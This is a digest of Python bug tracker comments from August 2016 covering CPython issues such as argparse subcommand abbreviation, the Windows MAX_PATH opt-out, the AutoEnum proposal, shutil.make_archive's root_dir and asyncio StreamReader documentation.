In-Reply-To: <1462802551.63.0.282711121635.issue26984@psf.upfronthosting.co.za> Message-ID: <1471546503.54.0.145200561951.issue26984@psf.upfronthosting.co.za> Mark Dickinson added the comment: > Could you please make a review Mark? Sorry, Serhiy. I missed this. I've got some time off coming up, so I plan to look at this in the next few days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:01:09 2016 From: report at bugs.python.org (Mark Grandi) Date: Thu, 18 Aug 2016 19:01:09 +0000 Subject: [issue13516] Gzip old log files in rotating handlers In-Reply-To: <1322762423.02.0.0799773449724.issue13516@psf.upfronthosting.co.za> Message-ID: <1471546869.32.0.127576966571.issue13516@psf.upfronthosting.co.za> Mark Grandi added the comment: While I will say that is slightly easier than subclassing, it still requires a function, or a variation of that to be present in every project that wants to have a RotatingHandler + compression, and extra lines if you use logging.config.dictConfig, as you will need to reference an external function rather than just specifying the filename = *.gz I don't see this this simple feature would add much maintainer overhead, as lzma.open, bz2.open and gz.open are all pretty simple to use and are all already in the stdlib ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:10:29 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 18 Aug 2016 19:10:29 +0000 Subject: [issue26488] hashlib command line interface In-Reply-To: <1471545384.39.0.666212507138.issue26488@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > There are so many existing tools that already do this I don't really see why Python needs to become yet another one. What is the value in doing this? Portability. You described UNIX. There is no such tool by default on Windows for example (as Avid said). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:10:31 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 18 Aug 2016 19:10:31 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1471448071.86.0.830497927883.issue27731@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Steve Dower added the comment: > No, the flag that we add to the binary is backwards compatible. Earlier versions will just ignore it. Cool. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:16:16 2016 From: report at bugs.python.org (Steve Dower) Date: Thu, 18 Aug 2016 19:16:16 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> Message-ID: <1471547776.12.0.0934169791189.issue27731@psf.upfronthosting.co.za> Steve Dower added the comment: > Will it apply to third-party C extensions loaded into Python? Yes, anything running under the python.exe will get it for free. (Non-standard entry points will need to add the flag themselves.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:16:27 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 18 Aug 2016 19:16:27 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <1471547787.94.0.685153721915.issue25958@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:34:40 2016 From: report at bugs.python.org (Sylvain Corlay) Date: Thu, 18 Aug 2016 19:34:40 +0000 Subject: [issue26689] Add `has_flag` method to `distutils.CCompiler` In-Reply-To: <1459643481.74.0.720699620632.issue26689@psf.upfronthosting.co.za> Message-ID: <1471548880.65.0.324792474404.issue26689@psf.upfronthosting.co.za> Sylvain Corlay added the comment: Any chance to get this in for 3.6? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:38:12 2016 From: report at bugs.python.org (Brendan Moloney) Date: Thu, 18 Aug 2016 19:38:12 +0000 Subject: [issue27796] Expose DirEntry constructor Message-ID: <1471549092.38.0.988541483557.issue27796@psf.upfronthosting.co.za> New submission from Brendan Moloney: As per a discussion on python-ideas [1], the consensus is that we should allow users to create a DirEntry object themselves. This would just take a path and call stat on it and cache the result of that stat call. Nick Coghlan mentioned possibly allowing a pre-existing stat result to optionally be passed into the constructor [2]. [1] https://mail.python.org/pipermail/python-ideas/2016-August/041716.html [2] https://mail.python.org/pipermail/python-ideas/2016-August/041713.html ---------- messages: 273063 nosy: moloney priority: normal severity: normal status: open title: Expose DirEntry constructor type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:49:54 2016 From: report at bugs.python.org (Ethan Furman) Date: Thu, 18 Aug 2016 19:49:54 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471549794.36.0.437436919171.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: Thank you, Raymond, David, Barry, John, etc. for your feedback. While I really like AutoEnum I can see that that much magic doesn't need to exist in the stdlib. Unfortunately, the alternatives aren't very pretty, so I'll leave the AutoNumberEnum as a recipe in the docs, and not worry about an 'auto' special value. For those that love AutoEnum, it will be in the aenum third-party package. ---------- resolution: fixed -> rejected stage: resolved -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 15:57:11 2016 From: report at bugs.python.org (John Hagen) Date: Thu, 18 Aug 2016 19:57:11 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471550231.22.0.214499291791.issue26988@psf.upfronthosting.co.za> John Hagen added the comment: Ethan, thank you so much for all of your work. Looking forward to any future collaboration. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 16:24:24 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 18 Aug 2016 20:24:24 +0000 Subject: [issue12713] argparse: allow abbreviation of sub commands by users In-Reply-To: <1312854957.22.0.437190269629.issue12713@psf.upfronthosting.co.za> Message-ID: <20160818202420.23480.59110.BA9C7940@psf.io> Roundup Robot added the comment: New changeset 97b28115bd08 by Vinay Sajip in branch 'default': Closes #12713: Allowed abbreviation of subcommands in argparse. https://hg.python.org/cpython/rev/97b28115bd08 ---------- nosy: +python-dev resolution: -> fixed stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 18:43:48 2016 From: report at bugs.python.org (Eryk Sun) Date: Thu, 18 Aug 2016 22:43:48 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> Message-ID: <1471560228.51.0.700973897534.issue27731@psf.upfronthosting.co.za> Eryk Sun added the comment: > anything running under the python.exe will get it for free. py.exe may as well get the manifest setting, but it's not critical. It isn't common to store scripts in deeply nested paths. The same goes for the distlib launchers that pip uses for entry points since they have to open themselves. ---------- nosy: +eryksun, vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 20:09:51 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 19 Aug 2016 00:09:51 +0000 Subject: [issue26944] android: test_posix fails In-Reply-To: <1462348873.26.0.373017977506.issue26944@psf.upfronthosting.co.za> Message-ID: <1471565391.21.0.461826572344.issue26944@psf.upfronthosting.co.za> R. David Murray added the comment: Haypo: we are testing that our function wrapper (getgroups) returns something that we can parse as matching the results from the 'id' command. This gives us a much more meaningful test than just testing that getgroups returns *something*. That is, we are testing that it returns integers, and that they "look right". In that light, I propose an alternate patch. ---------- nosy: +r.david.murray Added file: http://bugs.python.org/file44143/test_getgroups_3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 20:12:06 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 19 Aug 2016 00:12:06 +0000 Subject: [issue26944] android: test_posix fails In-Reply-To: <1462348873.26.0.373017977506.issue26944@psf.upfronthosting.co.za> Message-ID: <1471565526.43.0.274182100899.issue26944@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 20:26:50 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 19 Aug 2016 00:26:50 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471566410.49.0.34799899323.issue27598@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: I submit a simple solution in line with __subclasshook__ of other ABCs. I added several tests, it looks like it is doing everything right. Please review. ---------- keywords: +patch Added file: http://bugs.python.org/file44144/collection.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 21:35:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 01:35:31 +0000 Subject: [issue2466] os.path.ismount doesn't work for mounts the user doesn't have permission to see In-Reply-To: <1206293428.96.0.660613140218.issue2466@psf.upfronthosting.co.za> Message-ID: <20160819013527.4048.74616.D2A729B6@psf.io> Roundup Robot added the comment: New changeset cbc78ca21977 by R David Murray in branch '3.5': #2466: ismount now recognizes mount points user can't access. https://hg.python.org/cpython/rev/cbc78ca21977 New changeset db9126139969 by R David Murray in branch 'default': Merge: #2466: ismount now recognizes mount points user can't access. https://hg.python.org/cpython/rev/db9126139969 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 21:36:55 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 19 Aug 2016 01:36:55 +0000 Subject: [issue2466] os.path.ismount doesn't work for mounts the user doesn't have permission to see In-Reply-To: <1206293428.96.0.660613140218.issue2466@psf.upfronthosting.co.za> Message-ID: <1471570615.78.0.414917753379.issue2466@psf.upfronthosting.co.za> R. David Murray added the comment: Thanks, Robin. The patch doesn't apply on 2.7. I'll leave this open to see if anyone wants to do the 2.7 port. ---------- nosy: +r.david.murray stage: commit review -> needs patch versions: -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 21:45:33 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 01:45:33 +0000 Subject: [issue2466] os.path.ismount doesn't work for mounts the user doesn't have permission to see In-Reply-To: <1206293428.96.0.660613140218.issue2466@psf.upfronthosting.co.za> Message-ID: <20160819014530.85090.86920.43988949@psf.io> Roundup Robot added the comment: New changeset dd0f1fa809c5 by R David Murray in branch 'default': Rewrap long lines in Misc/NEWS. https://hg.python.org/cpython/rev/dd0f1fa809c5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 22:40:21 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 02:40:21 +0000 Subject: [issue27794] setattr a read-only property; the AttributeError should show the attribute that failed In-Reply-To: <1471528639.63.0.0729109170448.issue27794@psf.upfronthosting.co.za> Message-ID: <1471574421.07.0.451163420472.issue27794@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 23:35:07 2016 From: report at bugs.python.org (bananaapple) Date: Fri, 19 Aug 2016 03:35:07 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471577707.16.0.853967414033.issue22021@psf.upfronthosting.co.za> bananaapple added the comment: Sorry to bother. But This patch is still not accepted. I still suffer this issue. Is anyone willing to review this patch? Thanks ---------- nosy: +bananaapple _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 23:53:27 2016 From: report at bugs.python.org (bananaapple) Date: Fri, 19 Aug 2016 03:53:27 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471578807.97.0.69022426187.issue22021@psf.upfronthosting.co.za> bananaapple added the comment: Or, Is there anything I could help? I am glad to help fixing this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 00:30:03 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 19 Aug 2016 04:30:03 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1471566410.49.0.34799899323.issue27598@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: LGTM, but I'm on vacation through Monday. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 00:47:25 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 19 Aug 2016 04:47:25 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471582045.92.0.891582758196.issue26988@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: I don't think the problem is with (Auto)Enum at all. Problem is in a different place, and this is just a symptom. Problem is that people make too many assumptions about `class` suite. Yes, type is default metaclass. But not every class should be constructed by type's rules - Python provides a very detailed and powerful mechanism for specifying a different set of rules, should you need it. This is what metaclass keyword argument should be all about. And that is the true reason why metaclass conflict is an issue: every metaclass is a DSL specification, and the same suite cannot be interpreted according to two different DSLs at the same time. But since there's a widespread myth that users don't like to type, implementors use a trick, "class Spam(metaclass=SpamMeta): pass", and say to their users: "there, just inherit from Spam like you inherit from ordinary classes". That way, we spare them a few keystrokes, sparing them also of opportunity to learn that metaclasses _do_ change the semantics of what they see indented after the colon. I wonder what Raymond's poll result would be if a normal way to write such code would expose the metaclass class Color(metaclass=AutoEnum): blue yellow ? Raymond has many valid objections, but they all apply to "ordinary" classes, instances of type. Color is not an instance of type, or at least conceptually it isn't. type (as a metaclass in Python) means a blueprint, a way to construct new instances via __call__, and every instance of it has that behavior, some of which even customize it by defining __new__ and/or __init__. type is also special because its power of creation is transitive: its instances know how to produce their instances in almost the same way it does. But nothing of it is mandatory, and in fact it just stands in the way when we try to define Enum (or singletons, or database models, or... whatever that is not really a Python type). We do inherit from type because it's easier, and then usurp and override its __call__ behavior to do something almost entirely different. (Don't you feel something is wrong when your __new__ method doesn't construct a new object at all?:) It's completely possible, but it's not the only way. Maybe class is just too tainted a keyword. There was a thread on python-ideas, that we should have a new keyword, "make". "make m n(...)" would be a clearer way to write what's currently written "class n(..., metaclass=m)", with a much more prominent position for the metaclass, obviating the need for "just inherit from Spam" trick, and dissociating in people's minds the connections of arbitrary metaobjects with type. ("class" keyword could be just a shortcut for "make type" in that syntax.) But of course, a new keyword is probably too much to ask. (A mild effect can be gained by reusing keywords "class" and "from", but it looks much less nice.) However, there is _another_ underused way metaclasses can communicate with the external world of users of their instances: keyword arguments. I wonder if Raymond's objections would be as strong if the autovivification was explicitly documented? class Color(Enum, style='declarative'): blue yellow Of course we can bikeshed about exact keyword argument names and values, but my point is that there is an unused communication channel for converting typical Python user's surprise "why does this code even work" into "hey, what does that style='declarative' mean?" ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 00:47:52 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 04:47:52 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471582072.45.0.170070294152.issue22021@psf.upfronthosting.co.za> Berker Peksag added the comment: Hi bananaapple, there are two things that need to be addressed: 1. We need to decide whether this is a bug in make_archive() implementation or not. See msg223572 and msg223668 for details. I personally agree with David's analysis in msg223668. We can rephrase make_archive() documentation to clarify what root_dir exactly does. 2. If this is a bug in make_archive() implementation, we need to add a test case. You can take a look at Lib/test/test_shutil.py. ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 01:02:11 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 19 Aug 2016 05:02:11 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471582931.82.0.198876011922.issue22021@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Agree with David, this is working as designed (and matching the behavior of say "tar -C"). But the documentation is not clear if not confusing. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 01:04:16 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 05:04:16 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471583056.65.0.988118377271.issue27598@psf.upfronthosting.co.za> Neil Girdhar added the comment: Great patch. Shouldn't Sequence be a "Reversible, Collection"? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 01:17:29 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 05:17:29 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471583849.03.0.564883694705.issue22021@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- versions: +Python 3.5, Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 01:21:08 2016 From: report at bugs.python.org (bananaapple) Date: Fri, 19 Aug 2016 05:21:08 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471584068.52.0.0249135026473.issue22021@psf.upfronthosting.co.za> bananaapple added the comment: Hello Berker Peksag, 1. For now, I realize the comment of David. This is not a bug of make_archive() implementation. However, I think documentation is not clear to understand at the first time reading it. Maybe it should be rephrased. 2. Actually, what I am looking in this function is able to output the archive to another directory rather than current directory. But, this functionality is not provided. I think this functionality will be useful if implemented. What do you think about this? Thank you for your explaination. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 01:21:55 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 05:21:55 +0000 Subject: [issue2466] os.path.ismount doesn't work for mounts the user doesn't have permission to see In-Reply-To: <1206293428.96.0.660613140218.issue2466@psf.upfronthosting.co.za> Message-ID: <1471584115.84.0.263278675525.issue2466@psf.upfronthosting.co.za> Xiang Zhang added the comment: David, issue2466_ismount_py2.7_port.patch does the py2.7 port. I also back port other ismount test cases not existing in py2.7. ---------- nosy: +xiang.zhang Added file: http://bugs.python.org/file44145/issue2466_ismount_py2.7_port.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 02:06:23 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 06:06:23 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471586783.28.0.599407608053.issue27598@psf.upfronthosting.co.za> Neil Girdhar added the comment: (added the documentation changes) ---------- Added file: http://bugs.python.org/file44146/doc_changes.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 02:56:26 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 06:56:26 +0000 Subject: [issue26050] Add new StreamReader.readuntil() method In-Reply-To: <1452285476.14.0.419432816204.issue26050@psf.upfronthosting.co.za> Message-ID: <1471589786.28.0.0426056892213.issue26050@psf.upfronthosting.co.za> Martin Panter added the comment: In revision 83450939b106, Yury added some documentation for readuntil(). I am not familiar with this StreamReader class, but maybe Mark or someone else can check if the remaining changes in his patch are still useful. I can suggest some spelling and wording fixes however. Bits in square brackets are my changes. ## read(n=-1): If *n* is zero, return [an] empty ``bytes`` object [immediately (single L)]. If *n* is positive, this function [tries] to read *n* bytes, [but may return less]. If EOF was received before any byte is read, this function returns [an] empty [bytes] object[, otherwise it returns at least one byte]. [The] returned value is not limited [by] [*limit* (add asterisks)], . . . If [the] stream was paused, . . . ## readline(): Read [] from the stream until [a] newline (``b'\n'``) is found. On success, return [the line, which] ends with [a] newline. If only [a] partial line can be read due to EOF, return [an] incomplete line without terminating newline. When EOF was reached [and] no bytes [were] read, [an] empty ``bytes`` object is returned. If [*limit* (add asterisks)] is reached, ValueError will be raised. In that case, if [a] newline was found, [the] complete line including newline will be removed from [the] internal buffer. [Otherwise, the] internal buffer will be cleared. [*Limit* (add asterisks)] is compared against [the length] of the line[, not counting the] newline. If [the] stream was paused, . . . ## readexactly(n): If *n* is zero, return [an] empty bytes object. [The] returned value is not limited by [*limit* (add asterisks)], . . . If [the] stream was paused, . . . ## readuntil(separator=b'\n'): Read [] from the stream until *separator* is found. On success, [the] chunk [of data] and its separator will be removed from [the] internal buffer (i.e. consumed). [The] returned chunk will include [the] separator at the end. [The] configured stream limit is used to [limit the] result. [*Limit* (add asterisks)] means [the maximum] length of [the] chunk . . . If EOF occurs and [a] complete separator [is] still not found, :exc:`IncompleteReadError`(, None) will be raised and [the] internal buffer becomes empty. . . . If [the] chunk cannot be read due to [the] limit, :exc:`LimitOverrunError` will be raised and data will be left in [the] internal buffer, . . . If [the] stream was paused, . . . ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python, martin.panter stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:03:21 2016 From: report at bugs.python.org (Kenneth Reitz) Date: Fri, 19 Aug 2016 07:03:21 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471590201.12.0.973324175652.issue26988@psf.upfronthosting.co.za> Kenneth Reitz added the comment: This addition to Python, specifically the bare assignment-free `red` syntax would be a huge mistake for the language. It looks like a syntax error to me, and completely destroys my mental model for how Python code either does work or should work. A simple assignment to `None`, `()`, or imported static `AUTO_ENUM` (or similar, akin to subprocess.PIPE) would be *much* preferred. ---------- nosy: +kennethreitz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:20:26 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 19 Aug 2016 07:20:26 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471591226.98.0.363487750235.issue27558@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:33:57 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 07:33:57 +0000 Subject: [issue26050] Add new StreamReader.readuntil() method In-Reply-To: <1452285476.14.0.419432816204.issue26050@psf.upfronthosting.co.za> Message-ID: <1471592037.09.0.658719339544.issue26050@psf.upfronthosting.co.za> Martin Panter added the comment: Also it looks like the b'\n' default confuses Sphinx. Maybe it needs extra escaping? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:34:53 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 19 Aug 2016 07:34:53 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471592093.71.0.406890509763.issue27662@psf.upfronthosting.co.za> Mark Dickinson added the comment: The change to use PyMem_Calloc looks good to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:38:02 2016 From: report at bugs.python.org (Martijn Pieters) Date: Fri, 19 Aug 2016 07:38:02 +0000 Subject: [issue27797] ASCII file with UNIX line conventions and enough lines throws SyntaxError when ASCII-compatible codec is declared Message-ID: <1471592282.81.0.915425823239.issue27797@psf.upfronthosting.co.za> New submission from Martijn Pieters: To reproduce, create an ASCII file with > io.DEFAULT_BUFFER_SIZE bytes (can be blank lines) and *UNIX line endings*, with the first two lines reading: #!/usr/bin/env python # -*- coding: cp1252 -*- Try to run this as a script on Windows: C:\Python35\python.exe encoding-problem-cp1252.py File "encoding-problem-cp1252.py", line 2 SyntaxError: encoding problem: cp1252 Converting the file to use CRLF (Windows) line endings makes the problem go away. This appears to be a fallout from issue #20731. Demo file that reproduces this issue at 710 bytes: https://github.com/techtonik/testbin/raw/fbb8aec3650b45f690c4febfd621fe5d6892b14a/python/encoding-problem-cp1252.py First reported by anatoly techtonik at https://stackoverflow.com/questions/39032416/python-3-5-syntaxerror-encoding-prob-em-cp1252 ---------- components: Interpreter Core, Windows messages: 273087 nosy: mjpieters, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: ASCII file with UNIX line conventions and enough lines throws SyntaxError when ASCII-compatible codec is declared versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:43:10 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 19 Aug 2016 07:43:10 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471592590.46.0.784198864908.issue27662@psf.upfronthosting.co.za> Mark Dickinson added the comment: Also, if you're switching to `PyMem_Calloc`, I'd suggest dropping the assertion at the end, since that's now really an assertion for logic that appears in `PyMem_Calloc` rather than in this function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 03:55:50 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 19 Aug 2016 07:55:50 +0000 Subject: [issue27797] ASCII file with UNIX line conventions and enough lines throws SyntaxError when ASCII-compatible codec is declared In-Reply-To: <1471592282.81.0.915425823239.issue27797@psf.upfronthosting.co.za> Message-ID: <1471593350.33.0.423401025926.issue27797@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> needs patch type: -> behavior versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:03:35 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 08:03:35 +0000 Subject: [issue27157] Unhelpful error message when one calls a subclass of type with a custom metaclass In-Reply-To: <1464561968.54.0.551105312321.issue27157@psf.upfronthosting.co.za> Message-ID: <20160819080330.31560.43362.ECE7C1D2@psf.io> Roundup Robot added the comment: New changeset c3498187f998 by Berker Peksag in branch 'default': Issue #27157: Make only type() itself accept the one-argument form https://hg.python.org/cpython/rev/c3498187f998 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:04:09 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 08:04:09 +0000 Subject: [issue27157] Unhelpful error message when one calls a subclass of type with a custom metaclass In-Reply-To: <1464561968.54.0.551105312321.issue27157@psf.upfronthosting.co.za> Message-ID: <1471593849.36.0.829113077442.issue27157@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:04:53 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 08:04:53 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471593893.51.0.687587018.issue27662@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for your reply Mark. But I don't understand your message about the assertion. There is now no assertion in PyList_New. The changed assertion statement is in list_ass_subscript. If this confuses you I am quite sorry to bring in a somewhat unrelated change. :( I just thought it's not worth to open another issue to change that one. Really sorry. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:20:46 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 08:20:46 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1471590201.12.0.973324175652.issue26988@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Would it be possible to use a auto or AUTO_ENUM constant from the enum in the Enum class? (And drop AutoEnum class.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:23:18 2016 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 19 Aug 2016 08:23:18 +0000 Subject: [issue27080] Implement the formatting part of PEP 515, '_' in numeric literals. In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za> Message-ID: <1471594998.72.0.858970846798.issue27080@psf.upfronthosting.co.za> Eric V. Smith added the comment: Unfortunately I'm not going to have time to implement this before 3.6 beta 1, so I'm un-assigning it to myself. I'll post to python-dev and hopefully someone else can get to it. Apologies for waiting so long. ---------- assignee: eric.smith -> versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:29:36 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 19 Aug 2016 08:29:36 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471595376.53.0.828619159629.issue27662@psf.upfronthosting.co.za> Mark Dickinson added the comment: Right, sorry. I'm suggesting dropping that second assertion entirely; essentially, we're moving the responsibility for and knowledge about overflow checking into the PyMem_* functions/macros (which is where it belongs), and I don't see a need to check the equivalent condition in list_ass_subscript. If you do keep the second assertion, you should probably drop the `(size_t)` cast, so that we're not comparing signed with unsigned. ---------- _______________________________________ 